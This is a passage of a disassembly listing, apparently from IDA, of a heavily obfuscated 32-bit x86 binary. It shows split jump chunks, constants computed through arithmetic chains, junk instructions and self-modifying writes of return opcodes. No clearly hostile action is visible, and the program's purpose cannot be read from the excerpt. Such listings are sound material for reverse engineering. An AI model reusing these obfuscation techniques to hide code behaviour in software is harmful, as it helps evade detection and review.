; FUNCTION CHUNK AT 00445CDB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447E35 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044AD44 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B25A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044B6EA SIZE 00000029 BYTES

		push	ebp
		jmp	loc_445CDB
sub_43E86C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43E872:				; CODE XREF: sub_4432B8+13Cj
					; y22d6.y.:00448820j
		push	offset loc_449D63
		jmp	nullsub_352
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_43E87C:				; DATA XREF: y22d6.y.:00449C3Do
		mov	eax, [eax]
		mov	al, [eax]
		js	loc_44C570
		sub	al, 99h
		call	sub_437890
; START	OF FUNCTION CHUNK FOR sub_44E242

loc_43E88D:				; CODE XREF: sub_44E242-B936j
		jmp	loc_437934
; END OF FUNCTION CHUNK	FOR sub_44E242
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442592

loc_43E892:				; CODE XREF: sub_442592+7j
		jmp	loc_44840D
; END OF FUNCTION CHUNK	FOR sub_442592
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD3D

loc_43E897:				; CODE XREF: sub_43AD3D+6962j
		jmp	loc_43D777
; END OF FUNCTION CHUNK	FOR sub_43AD3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439096

loc_43E89C:				; CODE XREF: sub_439096+Dj
		jmp	loc_43E49B
; END OF FUNCTION CHUNK	FOR sub_439096
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_43E8A1:				; CODE XREF: sub_43B09B:loc_448861j
		pop	ecx
		or	ecx, 0DF97BC2Dh
		and	ecx, 0BCCFA9CBh
		xor	ecx, 271CF04Ah
		jmp	loc_44AA33
; END OF FUNCTION CHUNK	FOR sub_43B09B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4450FD

loc_43E8B9:				; CODE XREF: sub_4450FD:loc_43A12Fj
		jz	loc_445CEF
		push	esi

loc_43E8C0:				; CODE XREF: y22d6.y.:loc_43F79Ej
		jmp	loc_445CEC
; END OF FUNCTION CHUNK	FOR sub_4450FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A5E5

loc_43E8C5:				; CODE XREF: sub_44A5E5-A0A7j
		push	296E4003h
		xchg	ecx, [esp+4+var_4]
		not	edi
		jmp	loc_44C87F
; END OF FUNCTION CHUNK	FOR sub_44A5E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_43E8D4:				; CODE XREF: sub_43B09B:loc_444002j
					; sub_43B09B+8F75j
		xor	eax, 0EF947F01h
		call	sub_43CA1A
		push	ecx
		push	48890165h
		jmp	loc_448861
; END OF FUNCTION CHUNK	FOR sub_43B09B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441030

loc_43E8EA:				; CODE XREF: sub_441030:loc_43918Cj
		jge	loc_443B92

loc_43E8F0:				; CODE XREF: sub_448EB6+2620j
		jmp	loc_440188
; END OF FUNCTION CHUNK	FOR sub_441030
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4385ED

loc_43E8F5:				; CODE XREF: sub_4385ED+A486j
		jmp	loc_44AF66
; END OF FUNCTION CHUNK	FOR sub_4385ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438E86

loc_43E8FA:				; CODE XREF: sub_438E86+3j
		jmp	loc_448FF9
; END OF FUNCTION CHUNK	FOR sub_438E86
; ---------------------------------------------------------------------------
		add	edx, ebp
		jle	loc_439641
		shr	eax, 1Dh
		cmp	eax, edx
		jmp	loc_443B87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_43E911:				; CODE XREF: sub_440280-6B3j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_440280

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E913	proc near		; CODE XREF: sub_44D7E0-141FBp
					; sub_43B006+8p ...
		push	ebp
		mov	ebp, esp
		push	ebx
		jmp	loc_44B270
sub_43E913	endp

; ---------------------------------------------------------------------------
		push	9484DEE1h
		pop	eax
		and	eax, 0ED9E6008h
		rol	eax, 1Ah
		sub	eax, 92C13CD2h
		xor	eax, 50ACE46Fh

loc_43E937:				; CODE XREF: y22d6.y.:loc_43F5AEj
		call	sub_43CA1A
		push	edi
		jmp	loc_4380A2
; ---------------------------------------------------------------------------
		add	esp, 10h
		pop	ebp
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44529A

loc_43E949:				; CODE XREF: sub_44529A-517Dj
		jmp	loc_438F98
; END OF FUNCTION CHUNK	FOR sub_44529A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4384B4

loc_43E94E:				; CODE XREF: sub_4384B4+6D40j
		jmp	loc_44A0F2
; END OF FUNCTION CHUNK	FOR sub_4384B4

; =============== S U B	R O U T	I N E =======================================



sub_43E953	proc near		; CODE XREF: y22d6.y.:0043E4BFp
					; sub_441E1E+Cp ...

; FUNCTION CHUNK AT 004422C6 SIZE 0000000A BYTES

		jz	loc_4422C6
		jmp	sub_43CBD3
sub_43E953	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_43E95E:				; CODE XREF: sub_44057E:loc_442643j
		jz	loc_43AD8B

loc_43E964:				; CODE XREF: y22d6.y.:0044078Ej
		jmp	loc_444EDE
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------

loc_43E969:				; CODE XREF: y22d6.y.:0044894Dj
		jl	loc_444E6F
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43E96F:				; CODE XREF: sub_448EB6+2Dj
		jmp	loc_439F75
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43837F

loc_43E974:				; CODE XREF: sub_43837F+BE2j
		jmp	loc_43AB5A
; END OF FUNCTION CHUNK	FOR sub_43837F
; ---------------------------------------------------------------------------
		jl	loc_444BF0
		rol	esi, 1Ah
		test	eax, ebp
		jmp	loc_444E63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A3A9

loc_43E989:				; CODE XREF: sub_43A3A9:loc_43A3B3j
		mov	dword ptr [ecx], 10001h
		lea	eax, loc_44D431
		call	sub_43C712
		test	esi, eax
		jmp	loc_44D546
; END OF FUNCTION CHUNK	FOR sub_43A3A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A9C6

loc_43E9A1:				; CODE XREF: sub_43A9C6:loc_44A49Ej
		call	sub_43CB9B

loc_43E9A6:				; CODE XREF: sub_4383E0+545Bj
		jmp	nullsub_152
; END OF FUNCTION CHUNK	FOR sub_43A9C6
; ---------------------------------------------------------------------------

loc_43E9AB:				; CODE XREF: y22d6.y.:004430BFj
		mov	edx, [edx]
		mov	[eax], edx
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_43E9AF:				; CODE XREF: sub_44AEDA-67E5j
		js	loc_4440E8
		mov	eax, [ebp-24h]
		test	byte ptr [eax+1], 80h
		jnz	loc_44AB6F
		jmp	loc_43CBCE
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4418C5

loc_43E9C7:				; CODE XREF: sub_4418C5:loc_437389j
		and	eax, 20E1F2F9h
		or	eax, 815C0CAEh
		xor	eax, 80D00097h

loc_43E9D9:				; CODE XREF: sub_4432B8+A7C4j
		add	eax, 0EF7538C9h
		add	eax, ebp
		add	eax, 0EFDB8CAh
		call	sub_44D22A

loc_43E9EC:				; CODE XREF: sub_43EC92+698Cj
		jmp	loc_439B79
; END OF FUNCTION CHUNK	FOR sub_4418C5
; ---------------------------------------------------------------------------

loc_43E9F1:				; CODE XREF: y22d6.y.:00443DC0j
		xchg	ebx, [esp]
		jmp	loc_443200
; ---------------------------------------------------------------------------
		mov	ds:off_41E144, eax
		lea	eax, loc_43ADCD
		mov	byte ptr [eax],	0C3h
		jmp	loc_4443E3
; ---------------------------------------------------------------------------
		call	nullsub_331
		jmp	loc_448878
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C242

loc_43EA17:				; CODE XREF: sub_43C242:loc_43C250j
		jnz	loc_4373A3
		not	edx
		jp	loc_4463CF
		adc	ecx, 2F59F68Ah
		jmp	loc_4373A3
; END OF FUNCTION CHUNK	FOR sub_43C242
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_337. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43EA31:				; CODE XREF: y22d6.y.:0043942Ej
		xor	edx, eax
		pushf
		cmp	esi, ebx
		jmp	loc_43C4C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_43EA3B:				; CODE XREF: sub_44BCC2-6EB3j
		rol	ecx, 8
		sbb	ebx, 89137054h

loc_43EA44:				; CODE XREF: sub_44BCC2:loc_437FEEj
		mov	eax, [ebp-108h]
		mov	byte ptr [ebp+eax-100h], 0
		push	2010h
		push	0
		push	0EFBE9964h
		pop	eax
		jmp	loc_44B4C6
; END OF FUNCTION CHUNK	FOR sub_44BCC2

; =============== S U B	R O U T	I N E =======================================



sub_43EA64	proc near		; DATA XREF: y22d6.y.:0043FE0Co

; FUNCTION CHUNK AT 00441B8A SIZE 00000005 BYTES

		mov	ds:dword_41E0D8, eax
		lea	eax, nullsub_313
		mov	byte ptr [eax],	0C3h
		jmp	loc_441B8A
sub_43EA64	endp

; ---------------------------------------------------------------------------
		call	sub_44ABB0

loc_43EA7D:				; CODE XREF: y22d6.y.:0043BAD9j
		ja	loc_43FB63
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_43EA83:				; CODE XREF: sub_438B66:loc_43BAC6j
		xor	eax, 0DB3C893Dh
		and	eax, 0A0FA07ADh
		xor	eax, 4886B099h
		add	eax, ebp
		jmp	loc_446FDA
; END OF FUNCTION CHUNK	FOR sub_438B66
; ---------------------------------------------------------------------------

loc_43EA9C:				; CODE XREF: y22d6.y.:00438BBAj
		shr	edi, 1Ah
		jmp	loc_44CA49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_43EAA4:				; CODE XREF: sub_43B09B+E897j
		jnz	loc_44071C

loc_43EAAA:				; CODE XREF: sub_448EB6+2922j
		jmp	loc_44E585
; END OF FUNCTION CHUNK	FOR sub_43B09B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438077

loc_43EAAF:				; CODE XREF: sub_438077+10j
		jmp	loc_44DBF7
; END OF FUNCTION CHUNK	FOR sub_438077
; ---------------------------------------------------------------------------
		test	edi, eax
		jmp	loc_437FC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BEF7

loc_43EABB:				; CODE XREF: sub_43BEF7:loc_447DEDj
		pushf
		push	195309FCh
		pop	edx
		and	edx, 104700FFh
		or	edx, ds:4000E6h
		add	edx, 60D58BFAh
		popf
		xchg	edx, [esp+0]
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_43BEF7
; ---------------------------------------------------------------------------
		mov	edx, ebp
		jmp	loc_44B338
; ---------------------------------------------------------------------------
		dd 0E91CCBC1h, 0FFFF8999h
; ---------------------------------------------------------------------------

loc_43EAEC:				; DATA XREF: sub_43872E:loc_439DCFo
		add	edi, 0A0E52D1Ch
		push	offset loc_43B848
		jmp	locret_44B949
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65F

loc_43EAFC:				; CODE XREF: sub_43C65F+C25Fj
		or	esi, 0D5E9FF60h
		and	esi, eax

loc_43EB04:				; CODE XREF: sub_43C65F:loc_43FD5Bj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jmp	loc_43CD84
; END OF FUNCTION CHUNK	FOR sub_43C65F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D20E

loc_43EB0F:				; CODE XREF: sub_43D20E+3DE2j
		push	eax
		call	sub_44A9DF
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	loc_44C161
		lea	eax, [ebp-125h]
		push	eax
		call	sub_44C171
		jmp	loc_43F29E
; END OF FUNCTION CHUNK	FOR sub_43D20E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A78

loc_43EB33:				; CODE XREF: sub_439A78:loc_448E0Ej
		jnz	loc_44272A

loc_43EB39:				; CODE XREF: sub_448EB6-F12j
		jmp	nullsub_124
; END OF FUNCTION CHUNK	FOR sub_439A78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4477E6

loc_43EB3E:				; CODE XREF: sub_4477E6-D941j
		jmp	sub_44A9DF
; END OF FUNCTION CHUNK	FOR sub_4477E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43EB43:				; CODE XREF: sub_4432B8:loc_443415j
		sub	ebx, eax
		not	ebx
		cmp	esi, 0B0A1763Dh
		jmp	loc_43A9E3
; ---------------------------------------------------------------------------

loc_43EB52:				; CODE XREF: sub_4432B8:loc_442176j
					; y22d6.y.:loc_44B525j
		jz	loc_44479E
; END OF FUNCTION CHUNK	FOR sub_4432B8
; START	OF FUNCTION CHUNK FOR sub_441E5C

loc_43EB58:				; CODE XREF: sub_441E5C+CC5j
		jmp	loc_43D27E
; END OF FUNCTION CHUNK	FOR sub_441E5C
; ---------------------------------------------------------------------------
		xor	ebx, 0CFDD265h
		add	ebp, 0D688E8A3h
		mov	[ebx], ecx
		jmp	loc_44479E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CA1A

loc_43EB70:				; CODE XREF: sub_43CA1A+2E8Bj
		cmp	ebp, 3CA9DCB2h
		jmp	loc_44AB11
; END OF FUNCTION CHUNK	FOR sub_43CA1A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_158. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_43EB7C:				; CODE XREF: sub_44057E+8203j
		jmp	nullsub_113
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_43EB81:				; CODE XREF: sub_44633F+Fj
		jmp	loc_446037
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------

loc_43EB86:				; CODE XREF: y22d6.y.:loc_43F912j
		jmp	sub_446222
; ---------------------------------------------------------------------------

loc_43EB8B:				; CODE XREF: y22d6.y.:0043BAC1j
		jmp	loc_44C6F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAC6

loc_43EB90:				; CODE XREF: sub_43FAC6+49A1j
		jge	locret_43C531
		mov	edx, [ebx]
		adc	edx, 0AD9E488Dh
		rol	ebx, 12h

loc_43EBA1:				; CODE XREF: sub_43FAC6:loc_44445Bj
		xor	eax, 44FD9DB2h
		add	eax, 609C3DF6h
		call	sub_448A59

loc_43EBB2:				; CODE XREF: y22d6.y.:00442295j
		jmp	nullsub_322
; END OF FUNCTION CHUNK	FOR sub_43FAC6
; ---------------------------------------------------------------------------
		popf
		jmp	sub_43B01D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_24. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DCC0

loc_43EBBE:				; CODE XREF: sub_43DCC0+9621j
		jmp	loc_43B058
; END OF FUNCTION CHUNK	FOR sub_43DCC0
; ---------------------------------------------------------------------------

loc_43EBC3:				; CODE XREF: y22d6.y.:00439EC9j
		jmp	loc_44BF21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B656

loc_43EBC8:				; CODE XREF: sub_43B656:loc_44E225j
		or	edx, 6F7C55E1h
		rol	edx, 3
		add	edx, 363FE9E8h
		push	offset loc_447F4F
		jmp	loc_446DB6
; END OF FUNCTION CHUNK	FOR sub_43B656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440626

loc_43EBE1:				; CODE XREF: sub_440626:loc_44BFE1j
		mov	eax, 19A5E09Eh
		push	edx
		push	0AAAD7E46h
		pop	edx
		or	edx, 3E94D601h
		rol	edx, 6
		add	edx, 50C40D1Ah
		jmp	loc_442404
; END OF FUNCTION CHUNK	FOR sub_440626

; =============== S U B	R O U T	I N E =======================================



sub_43EC01	proc near		; DATA XREF: sub_44E38B:loc_444C82o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00437A0A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00437EDD SIZE 0000001E BYTES
; FUNCTION CHUNK AT 004383D5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043A395 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EFAC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442942 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00444A13 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00444BB0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444DF5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044814B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00449EC0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B5C1 SIZE 00000008 BYTES

		add	eax, 0F1D18F1h
		xchg	eax, [esp+0]
		jmp	loc_43A395
sub_43EC01	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebx
		call	sub_44DCF0

loc_43EC15:				; CODE XREF: y22d6.y.:0044D0AAj
		jmp	loc_43FD06
; ---------------------------------------------------------------------------

loc_43EC1A:				; CODE XREF: y22d6.y.:0043E04Aj
		mov	edx, eax

; =============== S U B	R O U T	I N E =======================================



sub_43EC1C	proc near		; CODE XREF: sub_44A413+29BAp

; FUNCTION CHUNK AT 004384AA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CA47 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043EF08 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00440432 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440849 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00441A99 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441C2C SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0044787C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044815C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00448DDE SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004496F7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00449B96 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DBE1 SIZE 0000000B BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		jns	loc_441C3B
		sub	al, 99h

loc_43EC28:				; CODE XREF: sub_438B66:loc_447794j
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		jmp	loc_441A99
sub_43EC1C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449CED

loc_43EC32:				; CODE XREF: sub_449CED+9j
		sub	ecx, 0DCD507EEh
		jmp	loc_43C410
; END OF FUNCTION CHUNK	FOR sub_449CED
; ---------------------------------------------------------------------------

loc_43EC3D:				; CODE XREF: y22d6.y.:004495A2j
		pop	eax
		rol	eax, 14h
		xor	eax, 0B6FF2473h
		call	sub_43CA1A
		jmp	loc_44BDF0

; =============== S U B	R O U T	I N E =======================================



sub_43EC51	proc near		; CODE XREF: sub_44D293+9j
		add	esp, 0FFFFFED8h
		mov	[ebp-8], edx
		mov	[ebp-4], eax

loc_43EC5D:				; CODE XREF: y22d6.y.:00448254j
		xor	eax, eax
		mov	[ebp-0Ch], eax

loc_43EC62:				; CODE XREF: sub_4432B8:loc_43D1F0j
		cmp	dword ptr [ebp-4], 0
		jz	loc_44DA43
		call	nullsub_4
		jmp	loc_44CBB1
sub_43EC51	endp

; ---------------------------------------------------------------------------

loc_43EC76:				; CODE XREF: y22d6.y.:loc_44D7F0j
		jnz	loc_44C34C

loc_43EC7C:				; CODE XREF: y22d6.y.:0044260Aj
		jmp	loc_43D12D
; ---------------------------------------------------------------------------
		xor	ecx, edi
		ror	ecx, 1Fh
		jmp	loc_44C342
; ---------------------------------------------------------------------------

loc_43EC8B:				; DATA XREF: y22d6.y.:0043C10Bo
		mov	ds:dword_4413AC, eax
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43EC92	proc near		; CODE XREF: sub_43FD7A-6F6Ej

var_14		= byte ptr -14h

; FUNCTION CHUNK AT 004376F2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043FFD5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00445618 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00449FD9 SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		cmp	ds:dword_4413B0, 0
		jnz	loc_445618
		jmp	loc_4376F2
sub_43EC92	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BEF7

loc_43ECAA:				; CODE XREF: sub_43BEF7:loc_43BF36j
		pop	ebx
		and	ebx, ds:4000E7h
		add	ebx, 4910A97Fh
		add	ebx, ebp
		add	ebx, 956B355Dh
		mov	ebx, [ebx]
		add	eax, ebx
		pop	ebx
		jmp	loc_439F47
; END OF FUNCTION CHUNK	FOR sub_43BEF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43872E

loc_43ECC9:				; CODE XREF: sub_43872E+Bj
					; sub_4432B8:loc_43F7ABj
		sub	eax, 0CBFDE073h
		add	eax, 28AB4A45h
		xchg	eax, [esp+0]
		jmp	loc_443878
; END OF FUNCTION CHUNK	FOR sub_43872E

; =============== S U B	R O U T	I N E =======================================



sub_43ECDD	proc near		; DATA XREF: sub_44439D:loc_440784o

; FUNCTION CHUNK AT 00439D81 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E4A8 SIZE 00000010 BYTES

		add	eax, 0E09AC2D5h
		push	edx
		push	0F1C1EFE8h
		pop	edx
		or	edx, 0C03DCBC5h
		rol	edx, 19h
		add	edx, 957DAD8Ch
		jmp	loc_439D81
sub_43ECDD	endp

; ---------------------------------------------------------------------------
		test	al, al
		jz	loc_43A57F
		jmp	loc_44476E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437913

loc_43ED0B:				; CODE XREF: sub_437913+16j
		rol	ecx, 4
		or	ecx, 0B37AAB38h
		add	ecx, 31D261ABh
		call	sub_43B035

loc_43ED1F:				; CODE XREF: y22d6.y.:0044B16Aj
		mov	edi, [eax]
		xchg	edi, ebx

loc_43ED23:				; CODE XREF: sub_44D6D0-2CFj
		add	edx, 7D706C2Ah
		xchg	edx, [esp+0]
		jmp	loc_4409BE
; END OF FUNCTION CHUNK	FOR sub_437913

; =============== S U B	R O U T	I N E =======================================



sub_43ED31	proc near		; DATA XREF: sub_4432B8:loc_43CE35o

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00437F35 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043B613 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00449449 SIZE 00000005 BYTES

		push	edi
		push	4CB2A29Ch
		xchg	ecx, [esp+0]

loc_43ED3A:				; CODE XREF: sub_43C65F:loc_440899j
		mov	edi, ecx
		pop	ecx
		and	edi, 0A5E05D07h
		xor	edi, 0A18BF94h
		jmp	loc_449449
sub_43ED31	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43ED4E	proc near		; CODE XREF: y22d6.y.:00444BCEj
					; sub_44CDB7-22D1p

; FUNCTION CHUNK AT 004395CC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B857 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BE59 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DE90 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445E51 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044B8C9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C582 SIZE 0000000F BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	edx, [ebp-4]
		imul	byte ptr [edx]

loc_43ED57:				; CODE XREF: y22d6.y.:004496C0j
		cmp	al, 0A4h
		jz	loc_43BE59
		jmp	loc_4395CC
sub_43ED4E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43ED64:				; CODE XREF: y22d6.y.:00449B81j
		jle	loc_43953A

loc_43ED6A:				; CODE XREF: y22d6.y.:loc_43983Cj
		xor	ebx, 3F538DCDh
		add	ebx, 80416477h
		add	ebx, ebp
		add	ebx, 0F4B189FCh
		mov	[ebx], eax
		pop	ebx
		mov	dword ptr [ebp-100h], 276E6143h
		jmp	loc_44042D
; ---------------------------------------------------------------------------

loc_43ED90:				; CODE XREF: y22d6.y.:0044A5B9j
		shr	ecx, 1Dh
		mov	eax, 0D32B2FEAh
; START	OF FUNCTION CHUNK FOR sub_4416F3

loc_43ED98:				; CODE XREF: sub_4416F3+2208j
		or	ecx, 0C5F87391h
; END OF FUNCTION CHUNK	FOR sub_4416F3
; START	OF FUNCTION CHUNK FOR sub_440280

loc_43ED9E:				; CODE XREF: sub_440280:loc_438F00j
		add	ecx, 184B46A7h
		xchg	ecx, [esp+0]
		jmp	nullsub_17
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------
		adc	ebp, esi
		jmp	sub_43878A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4431CD

loc_43EDB3:				; CODE XREF: sub_4431CD:loc_445A28j
		mov	edx, ecx
		xchg	edx, [esp+0]
		push	0D77A2D30h
		pop	ecx
		xor	ecx, 0F9385A74h
		sub	ecx, 0EE8CD810h
		rol	ecx, 0Eh
		sub	ecx, 0DF7C033Ch
		jmp	loc_437FF9
; END OF FUNCTION CHUNK	FOR sub_4431CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43EDD8:				; CODE XREF: sub_448EB6:loc_4490E4j
		pop	eax
		or	eax, 54EC681Eh
		and	eax, 0B771DE66h
		xor	eax, 0E4E61012h
		jnz	loc_43844A
; END OF FUNCTION CHUNK	FOR sub_448EB6
; START	OF FUNCTION CHUNK FOR sub_44304E

loc_43EDF1:				; CODE XREF: sub_44304E+18j
		jmp	sub_441A2B
; END OF FUNCTION CHUNK	FOR sub_44304E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_43EDF6:				; CODE XREF: sub_44B17B-9F91j
		jmp	loc_44A8C3
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
		rol	edx, 3
		jz	loc_449460
		jo	loc_44D317
		jmp	loc_43AF1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43EE0F:				; CODE XREF: sub_448EB6:loc_448FEFj
		pop	ecx

loc_43EE10:				; CODE XREF: y22d6.y.:004462DEj
		jns	loc_44AE0A
		mov	eax, [esp-8+arg_4]
		push	ebp
		mov	ebp, edx
		push	offset loc_440D4A
		jmp	nullsub_130
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_43EE26:				; CODE XREF: y22d6.y.:00437E9Cj
		adc	eax, 74A29600h

; =============== S U B	R O U T	I N E =======================================



sub_43EE2C	proc near		; CODE XREF: sub_44B1D2-30A9p

; FUNCTION CHUNK AT 00441840 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		pop	esi
		mov	eax, [ebp-4]
		pop	ecx
		pop	ebp
		jmp	loc_441840
sub_43EE2C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_43EE3B:				; CODE XREF: sub_44057E+4AD9j
		jp	loc_4477ED
		ror	ecx, 0Ch

loc_43EE44:				; CODE XREF: sub_44057E:loc_44466Fj
		add	eax, 85B2159Ah
		push	offset loc_44D8D0
		jmp	nullsub_240
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441000

loc_43EE54:				; CODE XREF: sub_441000-8E2Cj
		jl	loc_4421BE
		and	eax, edi
		jmp	loc_4421B6
; END OF FUNCTION CHUNK	FOR sub_441000
; ---------------------------------------------------------------------------

loc_43EE61:				; DATA XREF: sub_43BE66+1o
		mov	ebp, esp
		push	edi
		mov	edi, ecx
		xchg	edi, [esp]

loc_43EE69:				; CODE XREF: y22d6.y.:0044BFCFj
		mov	[ebp-4], eax
		push	319F161Fh
		pop	eax
		xor	eax, 0C336C43Ch
		jmp	loc_44888D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C7C1

loc_43EE7D:				; CODE XREF: sub_43C7C1-5590j
		pop	ecx
		lea	eax, loc_43ADCD
		mov	byte ptr [eax],	0C3h
		jmp	loc_43ADCD
; END OF FUNCTION CHUNK	FOR sub_43C7C1
